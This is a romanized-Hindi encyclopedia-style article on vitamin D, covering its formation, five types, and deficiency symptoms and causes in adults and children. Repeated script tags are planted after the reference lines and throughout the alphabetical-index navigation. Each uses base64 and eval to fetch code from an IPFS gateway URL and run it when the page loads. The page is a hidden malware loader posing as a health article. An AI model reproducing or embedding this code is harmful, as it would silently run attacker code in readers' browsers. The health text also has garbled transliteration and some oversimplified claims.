विटामिन डी

vitamin di (aangrezi: Vitamin D) sharir ke vikas, haddiyoan ke vikas aur svasthy ke lie bahut avashyak hai. soory ke prakash ke sanpark mean ane par tvacha isaka nirman karane lagati hai. halaanki yah vitamin khane ki kuchh chizoan se bhi prapt hota hai, lekin inamean yah bahut hi kam matra mean hota hai. keval inase hi vitamin di ki zaroorat poori nahian ki ja sakati. vitamin di ke do pramukh roop hote haian- 'vitamin di2' ya argokelasipherol evan 'vitamin di3 ya kolekelasipherol.

nirman

vitamin di vasa mean ghulanashil pro-harmons ka ek samooh hota hai. yah ek ster aauid vitamin hai, jo aantoan se kailshiyam ko sokhakar haddiyoan mean pahuanchata hai. sharir mean isaka nirman haidr aauksi kolestr aaul aur altrav aauyalet kiranoan ki madad se hota hai. isake alava sharir mean rasayan kolikal kaisir aaul paya jata hai, jo khane ke sath milakar vitamin di banata hai.

prakar

vitamin di paanch prakar ka hota hai^[1]-

vitamin di1
vitamin di2
vitamin di3
vitamin di4
vitamin di5

manav sharir ke lie 'vitamin di2' aur 'vitamin di3' hi behad avashyak haian.

vayaskoan mean kami ke lakshan

vayaskoan mean vitamin di ki kami ke nimn lakshan prakat hote haian-

dard rahana, kabhi-kabhi ye dard tivr bhi ho sakata hai.
kamazori evan ostiyomeleshiya
haddiyoan ka dard, amataur par koolhoan, pasaliyoan aur pairoan adi ki haddiyoan mean ye dard rahata hai.

bachchoan mean kami ke lakshan

shishuoan mean isaki kami hone par maansapeshiyoan mean maro de, saans lene mean pareshani aur daure ane ki pareshani ho sakati hai. unake sharir mean kailshiyam ki bhi kami ho jati hai. saans ki takaliph ke karan bachche ki pasaliyaan narm rah jati hai aur as-pas ki maansapeshiyaan bhi kamazor ho jati haian.^[2]
vitamin di ki ganbhir kami hone se bachchoan ke pairoan ki haddiyaan aur khop di kamazor rah jati haian. chhoone par yah haddiyaan narm mahasoos hoti haian. haddiyoan se sharir ka banuyadi dhaancha taiyar hota hai, lekin 'rikets' (sookha rog) jaisi bimari mean haddiyaan lachili ho jati haian. pairoan ki haddiyaan kamazor hokar mu dane lagean to yah sthiti rikets kahalati hai.
samay par daant n ana bachchoan mean vitamin di ki kami ka hi lakshan hai.

karan

bachchoan mean vitamin di ki kami ke kee karan ho sakate haian. lanbe samay tak sharir ko isaka paryapt matra mean n mil pana. yah samasya un logoan mean adhik hoti hai, jo poornatah shakahari ahar hi lete haian. prakritik roop se vitamin di keval pashuoan se milane vale ahar se hi prapt hota hai, isalie keval shakahari bhojan lene valoan mean vitamin di ki kami ki ashanka rahati hai.
tvacha ka rang bahut gahara hona. tvacha ka gahara rang milenin namak pigameant ke karan hota hai. milenan bahut adhik hone ke karan dhoop lagane par tvacha mean vitamin di ka nirman thik se nahian ho pata.
vrikk vitamin di ko usake sakriy roop mean parivartit n kar paean to sharir mean isaki kami hone lagati hai. umr badhane ke sath kidani ki karyakshamata prabhavit hone lagati hai, jisase yah vitamin di ko parivartit nahian kar pati. pachan tantr ise avashoshit nahian kar pae to bhi isaki kami ho jati hai. kuchh bimariyoan ke karan pachan tantr ki vitamin di avashoshit karane ki kshamata prabhavit hoti hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ apamean kahian vitamin di ki kami to nahian (hindi) amar ujala.k aaum. abhigaman tithi: 13 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ janie vitamin di ki kami ke lakshan (hindi) vebaduniya. abhigaman tithi: 13 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vitamin di ki kami to nahian (hindi) amar ujala.k aaum. abhigaman tithi: 13 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] vitamin di ki kami ke lakshan (hindi) vebaduniya. abhigaman tithi: 13 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]